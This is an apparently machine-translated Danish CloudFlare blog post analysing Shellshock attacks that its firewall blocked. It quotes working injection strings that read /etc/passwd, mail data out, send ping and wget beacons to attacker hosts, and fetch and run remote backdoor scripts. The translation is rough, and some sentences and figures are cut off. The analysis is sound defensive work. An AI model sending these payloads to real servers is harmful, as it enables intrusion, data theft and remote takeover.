Inde i Shellshock: hvordan hackere bruger det til at udnytte systemer

onsdag i sidste uge opstod detaljer om Shellshock bash bug. Denne fejl startede en scramble for at lappe computere, servere, routere, brandvægge og andre computerapparater ved hjælp af sårbare versioner af bash.

CloudFlare rullede straks beskyttelse til Pro -, forretnings-og virksomhedskunder gennem vores internetapplikation. På søndag, efter at have studeret omfanget af problemet, og ser på logfiler over angreb stoppet af vores VAF, vi besluttede at udrulle beskyttelse for vores gratis plan kunder samt.

siden da har vi overvåget angreb, vi har stoppet for at forstå, hvordan de ser ud, og hvor de kommer fra. Baseret på vores observationer er det klart, at hackere udnytter Shellshock over hele verden.


(CC BY 2.0 aussiegall)

Eject

Shellshock-problemet er et eksempel på en sårbarhed for udførelse af vilkårlig kode (ACE). Typisk udføres ACE-sårbarhedsangreb på programmer, der kører, og kræver en meget sofistikeret forståelse af internalerne i kodeudførelse, hukommelseslayout og monteringssprog—kort sagt kræver denne type angreb en ekspert.

hacker vil også bruge en ACE sårbarhed til at uploade eller køre et program, der giver dem en enkel måde at styre den målrettede maskine. Dette opnås ofte ved at køre en “shell”. En shell er en kommandolinje, hvor kommandoer kan indtastes og udføres.Shellshock-sårbarheden er et stort problem, fordi den fjerner behovet for specialiseret viden og giver en enkel (desværre meget enkel) måde at tage kontrol over en anden computer (f.eks.

Antag et øjeblik, at du ønskede at angribe en internetserver og gøre dens CD-eller DVD-drev slide åben. Der er faktisk en kommando på Linuk, der vil gøre det: /bin/eject. Hvis en server er sårbar over for Shellshock, kan du angribe den ved at tilføje den magiske streng () { :; };til /bin/eject og derefter sende den streng til målcomputeren via HTTP. Normalt vilUser-Agent – strengen identificere den type bro.ser, du bruger, men i tilfælde af Shellshock-sårbarheden kan den indstilles til at sige noget.

for eksempel, hvis example.com var sårbar da

curl -H "User-Agent: () { :; }; /bin/eject" http://example.com/

ville være nok til faktisk at gøre CD-eller DVD-drevet skubbet ud.

ved overvågning af Shellshock-angrebene, vi har blokeret, har vi faktisk set nogen, der forsøger netop det angreb. Så hvis du kører en internetserver og pludselig finder en udstødt DVD, kan det være en indikation på, at din maskine er sårbar over for Shellshock.

hvorfor det simple angreb virker

når en internetserver modtager en anmodning om en side, er der tre dele af anmodningen, der kan være modtagelige for Shellshock-angrebet: forespørgsels-URL ‘en, overskrifterne, der sendes sammen med URL’ en, og hvad der er kendt som “argumenter” (når du indtaster dit navn og adresse på en hjemmeside, vil det typisk blive sendt som argumenter i anmodningen).

for eksempel er her en faktisk HTTP-anmodning, der henter CloudFlare-hjemmesiden:

GET / HTTP/1.1Accept-Encoding: gzip,deflate,sdchAccept-Language: en-US,en;q=0.8,fr;q=0.6Cache-Control: no-cachePragma: no-cacheUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36Host: cloudflare.com

i dette tilfælde er URL ‘ en / (hovedsiden) og overskrifterne er Accept-EncodingAccept-Language osv. Disse overskrifter giver internetserveren oplysninger om mulighederne i min internetsøgemaskine, mit foretrukne sprog, den hjemmeside, jeg leder efter, og hvilken bro.ser jeg bruger.

det er ikke ualmindeligt, at disse omdannes til variabler inde i en internetserver, så internetserveren kan undersøge dem. (Serveren vil måske gerne vide, hvad mit foretrukne sprog er, så det kan beslutte, hvordan man skal reagere på mig).

for eksempel på internetserveren, der svarer på anmodningen om CloudFlare-startsiden, er det muligt, at følgende variabler defineres ved at kopiere anmodningsoverskrifterne tegn for tegn.

HTTP_ACCEPT_ENCODING=gzip,deflate,sdchHTTP_ACCEPT_LANGUAGE=en-US,en;q=0.8,fr;q=0.6HTTP_CACHE_CONTROL=no-cacheHTTP_PRAGMA=no-cacheHTTP_USER_AGENT=Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36HTTP_HOST=cloudflare.com

så længe disse variabler forbliver inde i internetserverprogrammet og ikke overføres til andre programmer, der kører på internetserveren, er serveren ikke sårbar.

Shellshock opstår, når variablerne føres ind i skallen kaldet “bash”. Bash er en almindelig skal, der bruges på Linuks-systemer. Internetservere har ofte brug for at køre andre programmer for at svare på en anmodning, og det er almindeligt, at disse variabler overføres til bash eller en anden shell.

Shellshock-problemet opstår specifikt, når en angriber ændrer origin HTTP-anmodningen til at indeholde magic() { :; }; streng diskuteret ovenfor.

Antag, at angriberen ændrer brugeragentens overskrift ovenfor fra Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36 til simpelthen () { :; }; /bin/eject. Dette skaber følgende variabel inde i en internetserver:

HTTP_USER_AGENT=() { :; }; /bin/eject

hvis denne variabel overføres til bash af internetserveren, opstår Shellshock-problemet. Dette skyldes, at bash har særlige regler for håndtering af en variabel, der starter med () { :; };. I stedet for at behandle variablen HTTP_USER_AGENTsom en sekvens af tegn uden særlig betydning, vil bash fortolke det som en kommando, der skal udføres (jeg har udeladt de dybt tekniske forklaringer på hvorfor() { :; }; gør bash opfører sig som dette for klarhedens skyld i dette essay.)

problemet er, atHTTP_USER_AGENT kom fraUser-Agent header, som er noget, en angriber kontrollerer, fordi den kommer ind på internetserveren i en HTTP-anmodning. Og det er en opskrift på katastrofe, fordi en angriber kan få en sårbar server til at køre enhver kommando, den ønsker (se eksempler nedenfor).

løsningen er at opgradere bash til en version, der ikke fortolker() { :; }; på en særlig måde.

hvor angreb kommer fra

da vi rullede ud beskyttelse for alle kunder, indførte vi en metric, der gjorde det muligt for os at overvåge antallet af forsøgte Shellshock-angreb. De modtog alle en HTTP 403 Forbudt fejlkode, men vi førte en log over, hvornår de opstod, og grundlæggende oplysninger om angrebet.

dette diagram viser antallet af angreb pr.sekund på tværs af CloudFlare-netværket siden udrulning af beskyttelse for alle kunder.

fra det øjeblik CloudFlare tændte for vores Shellshock-beskyttelse indtil tidligt i morges, så vi 10 til 15 angreb pr. I rækkefølge efter angrebsvolumen kom disse anmodninger fra Frankrig (80%), USA (7%), Holland (7%) og derefter mindre mængder fra mange andre lande.0100 Stillehavet (1000 i Paris) ophørte angrebene fra Frankrig. Vi ser i øjeblikket omkring 5 angreb pr. I skrivende stund har vi blokeret godt over 1,1 m Shellshock-angreb.

lad din fantasi løbe vild

da det er så let at angribe sårbare maskiner med Shellshock, og fordi en sårbar maskine vil køre enhver kommando, der sendes til den, har angribere ladet deres fantasi løbe vild med måder at manipulere computere eksternt.

Cloudflares VAF logger grunden til, at den blokerede en anmodning, der giver os mulighed for at udtrække og analysere de faktiske Shellshock-strenge, der bruges. Shellshock bruges primært til rekognoscering: at udtrække privat information og give angribere mulighed for at få kontrol over servere.

de fleste af Shellshock-kommandoerne injiceres ved hjælp af HTTP-brugeragent-og Refereroverskrifter, men angribere bruger også GET og POST-argumenter og andre tilfældige HTTP-overskrifter.

for at udtrække private oplysninger bruger angribere et par teknikker. De enkleste ekstraktionsangreb er i formularen:

() {:;}; /bin/cat /etc/passwd

der læser adgangskodefilen/etc/passwd og tilføjer det til svaret fra internetserveren. Så en angriber, der injicerer denne kode gennem Shellshock-sårbarheden, ville se adgangskodefilen dumpet ud på deres skærm som en del af hjemmesiden returneret.

i et angreb sender de simpelthen private filer til sig selv. For at få data ud via e-mail bruger angriberne mail kommandoen som denne:

() { :;}; /bin/bash -c \"whoami | mail -s 'example.com l' 

denne kommando kører først whoami for at finde ud af navnet på den bruger, der kører internetserveren. Det er især nyttigt, fordi hvis internetserveren køres som root (superbrugeren, der kan gøre noget), vil serveren være et særligt rigt mål.

det sender derefter brugernavnet sammen med navnet på hjemmesiden bliver angrebet (example.com ovenfor) via e-mail. Navnet på hjemmesiden vises i emnelinjen e-mail.

på deres fritid kan angriberen logge ind på deres e-mail og finde ud af, hvilke steder der var sårbare. Den samme e-mail-teknik kan bruges til at udtrække data som adgangskodefilen.


(CC BY 2.0 JD Hancock)

rekognoscering

langt det mest populære angreb, vi har set (omkring 83% af alle angreb) kaldes “rekognoscering”. I rekognosceringsangreb sender angriberen en kommando, der sender en besked til en tredjepartsmaskine. Tredjepartsmaskinen udarbejder derefter en liste over alle de sårbare maskiner, der har kontaktet den.

tidligere har vi set lister over kompromitterede maskiner, der bliver omdannet til botnets til DDoS, spam eller andre formål.

en populær rekognosceringsteknik bruger kommandoenping for at få en sårbar maskine til at sende en enkelt pakke (kaldet en ping) til en tredjepartsserver, som angriberen kontrollerer. Angrebsstrengen ser sådan ud:

() {:;}; ping -c 1 -p cb18cb3f7bca4441a595fcc1e240deb0 attacker-machine.com

kommandoenping bruges normalt til at teste, om en maskine er “levende” eller online (en levende maskine reagerer med sin egen ping). Hvis en internetserver er sårbar over for Shellshock, sender den en enkelt ping-pakke (-c 1) til Hacker-machine.com med en nyttelast indstillet af -p. Nyttelasten er et unikt ID skabt af angriberen, så de kan spore ping tilbage til den sårbare hjemmeside.

en anden teknik, der bruges til at identificere sårbare servere, er at få internetserveren til at hente en hjemmeside fra en angriberstyret maskine. Angriberen kan derefter se i deres serverlogfiler for at finde ud af, hvilken maskine der var sårbar. Dette angreb virker ved at sende en Shellshock streng som:

() {:;}; /usr/bin/wget http://attacker-controlled.com/ZXhhbXBsZS5jb21TaGVsbFNob2NrU2FsdA== >> /dev/null

angriberen ser i attacker-controlled.com for poster. Den hentede side er oprettet af angriberen til at afsløre navnet på det sted, der angribes. ZXhhbXBsZS5jb21TaGVsbFNob2NrU2FsdA== er faktisk en kode, der angiver, at det angrebne sted var example.com.

ZXhhbXBsZS5jb21TaGVsbFNob2NrU2FsdA== er faktisk en base64 kodet streng. Når det afkodes, lyder det:

example.comShellShockSalt

fra denne streng kan angriberen finde ud af, om deres angreb på eksempel.com var vellykket, og, hvis så, de kan derefter gå tilbage senere for yderligere at udnytte dette sted. Mens jeg har erstattet det domæne, der var målet, ser vi virkelige eksempler i naturen, der faktisk bruger ShellShockSalt som saltet i hash.

lammelsesangreb

et andet Shellshock-angreb bruger denne streng

() { :;}; /bin/sleep 20|/sbin/sleep 20|/usr/bin/sleep 20

det forsøger at køre kommandoen sleep på tre forskellige måder (da systemer har lidt forskellige konfigurationer, kan sleep findes i katalogerne /bin eller /sbin eller /usr/bin). Uanset hvilken søvn den kører, får den serveren til at vente 20 sekunder, før den svarer . Det vil forbruge ressourcer på maskinen, fordi en tråd eller proces, der udfører sleep vil ikke gøre noget andet i 20 sekunder.

Dette er måske den enkleste benægtelse af service af alle. Angriberne beder simpelthen maskinen om at sove et stykke tid. Send nok af disse kommandoer, og maskinen kunne være bundet til at gøre ingenting og ude af stand til at servicere legitime anmodninger.


(CC BY 2.0 peter castleton)

tager kontrol

omkring 8% af de angreb, vi hidtil har set, har været rettet mod direkte at tage kontrol over en server. Fjernbetjeningsangreb ser sådan ud:

() { :;}; /bin/bash -c \"cd /tmp;wget http://213.x.x.x/ji;curl -O /tmp/ji http://213.x.x.x/ji ; perl /tmp/ji;rm -rf /tmp/ji\"

denne kommando forsøger at bruge to programmer (wgetogcurl) til at hente et program fra en server, som angriberen kontrollerer. Programmet er skrevet på Perl-sproget, og når det er hentet, køres det straks. Dette program opretter fjernadgang for en angriber til den sårbare internetserver.

et andet angreb bruger Python-sproget til at oprette et program, der kan bruges til eksternt at køre enhver kommando på den sårbare maskine:

() { :;}; /bin/bash -c \"/usr/bin/env curl -s http://xxxxxxxxxxxxxxx.com/cl.py > /tmp/clamd_update; chmod +x /tmp/clamd_update; /tmp/clamd_update > /dev/null& sleep 5; rm -rf /tmp/clamd_update\"

cl.py program hentet er lavet til at ligne en opdatering til ClamAV antivirusprogram. Efter en forsinkelse på 5 sekunder rydder angrebet op efter sig selv ved at fjerne den hentede fil (så den kun kører i hukommelsen).


(CC BY 2.0 Jeff Taylor)

Målvalg

når man ser på de hjemmesider, der angribes, og de URL ‘ er, der anmodes om, er det muligt at lave et veluddannet gæt på de specifikke internetapplikationer, der angribes.

de øverste URL ‘ er, vi har set angrebet, er: / (23.00%), /cgi-bin-sdb/printenv(15.12%), /cgi-mod/indeks.cgi (14,93%),/CGI-sys / entropysearch.cgi (15,20%) og/cgi-sys / standardside.cgi (14, 59%). Nogle af disse URL ‘ er bruges af populære internet applikationer og endda en isenkræmmer.det ser ud til, at 23% af angrebene er rettet mod cPanel-hostingkontrolprogrammet, 15% mod gamle Apache-installationer og 15% mod Barracuda-produkter, der har en internetbaseret grænseflade.

sidstnævnte er interessant, fordi det fremhæver det faktum, at Shellshock ikke kun er et angreb på hjemmesider: det er et angreb på alt, hvad der kører bash og tilgængeligt på internettet. Det kan omfatte udstyr, set-top-bokse, bærbare computere, endda måske telefoner.

Skriv et svar

Din e-mailadresse vil ikke blive publiceret.